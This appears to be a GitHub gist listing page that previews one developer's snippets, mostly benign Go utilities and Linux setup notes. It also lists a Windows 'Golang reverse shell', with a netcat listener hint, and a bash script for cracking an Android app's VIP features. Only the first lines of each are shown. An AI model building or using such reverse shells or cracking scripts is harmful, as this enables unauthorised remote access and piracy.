Skip to content

Instantly share code, notes, and snippets.

@yougg
yougg / proxy.md
Last active April 7, 2024 04:02
complete ways to set http/socks/ssh proxy environment variables

set http or socks proxy environment variables

# set http proxy
export http_proxy=http://PROXYHOST:PROXYPORT

# set http proxy with user and password
export http_proxy=http://USERNAME:PASSWORD@PROXYHOST:PROXYPORT

# set http proxy with user and password (with special characters)
@yougg
yougg / reversecmd.go
Last active April 7, 2024 04:01 — forked from takeshixx/shell.go
Golang reverse shell
// +build windows
// Reverse Windows CMD
// Test with nc -lvvp 6666
package main
import (
"bufio"
"net"
"os/exec"

软路由

@yougg
yougg / command.md
Created April 4, 2022 12:53
Command Note

Command Note

@yougg
yougg / detectrun.go
Created June 20, 2019 13:43
Detect if windows golang executable file is running via double click or from cmd/shell terminator
// +build windows
//go:generate go build -ldflags "-s -w -extldflags '-static'" $GOFILE
package main
import (
"fmt"
"syscall"
"unsafe"
)
@yougg
yougg / sftp.go
Created July 30, 2018 12:08
simple sftp get/put api in go
package sftp
import (
"errors"
"fmt"
"io"
"os"
"path/filepath"
"strings"
"time"
@yougg
yougg / deepin_non-free.md
Last active June 29, 2021 01:20
Ubuntu中通过Deepin软件源安装非自由软件 wps-office deepinwine-qq sogoupinyin等

添加deepin软件源GPG key

sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 425956BB3E31DF51

添加deepin软件源中非自由软件

sudo add-apt-repository 'deb http://packages.deepin.com/deepin stable non-free'
@yougg
yougg / monitor.go
Last active April 25, 2021 02:55
Simple monitor for running multi process in docker scratch image
//go:generate go build -trimpath -buildmode pie -installsuffix netgo -tags "osusergo netgo static_build" -ldflags "-s -w -extldflags '-static'" -o monitor ${GOFILE}
package main
import (
"bytes"
"flag"
"fmt"
"io/ioutil"
"os"
"os/exec"
@yougg
yougg / topics.go
Created March 11, 2021 09:09
list/create kafka topic in go
//go:generate go env -w CGO_ENABLED=0 GOPROXY="https://goproxy.cn|https://goproxy.io|direct"
//go:generate rm go.*
//go:generate go mod init kafka.topic
//go:generate go mod tidy
//go:generate go build -trimpath -buildmode pie -installsuffix netgo -tags "osusergo netgo static_build" -ldflags "-s -w -extldflags '-static'" ${GOFILE}
package main
import (
"flag"
"fmt"
@yougg
yougg / hackddcat.sh
Last active January 1, 2021 15:58
多多猫 Android应用 破解VIP
#!/bin/bash
# 参考: https://www.52pojie.cn/thread-659866-1-1.html
cd `mktemp -d`
mkdir -p tool app
# 安装相关工具
cd tool
wget --no-check-certificate -O openjdk.tar.gz https://download.java.net/java/GA/jdk11/13/GPL/openjdk-11.0.1_linux-x64_bin.tar.gz
wget --no-check-certificate https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool